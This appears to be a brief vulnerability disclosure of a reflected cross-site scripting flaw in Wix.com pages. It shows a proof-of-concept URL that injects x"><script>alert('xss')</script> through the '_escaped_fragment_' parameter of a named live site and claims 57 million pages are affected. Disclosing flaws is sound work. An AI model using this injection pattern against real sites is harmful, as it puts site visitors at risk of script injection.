Wix.com Cross Site Scripting

`57 million web pages are affected by a security problem in wix.com  
  
Proof of concept of a web page made in wix.com:  
http://www.itsec.cl/  
  
to see the source code can observe the following:  
  
...  
Find the SEO content of this site's homepage via   
http://www.itsec.cl/?_escaped_fragment_=  
(That is where search engines like Google go to read your homepage's   
content.)  
...  
  
tried to access an existing section and added a third invalid parameter,   
after that launched the attack code:  
  
Valid URL:  
http://www.itsec.cl/?_escaped_fragment_=partners/c1ryi/  
  
XSS URL:  
http://www.itsec.cl/?_escaped_fragment_=partners/c1ryi/x"><script>alert('xss')</script>  
  
How cheap is expensive.  
  
  
/Devsec, Security Departament. Chile./  
  
  
`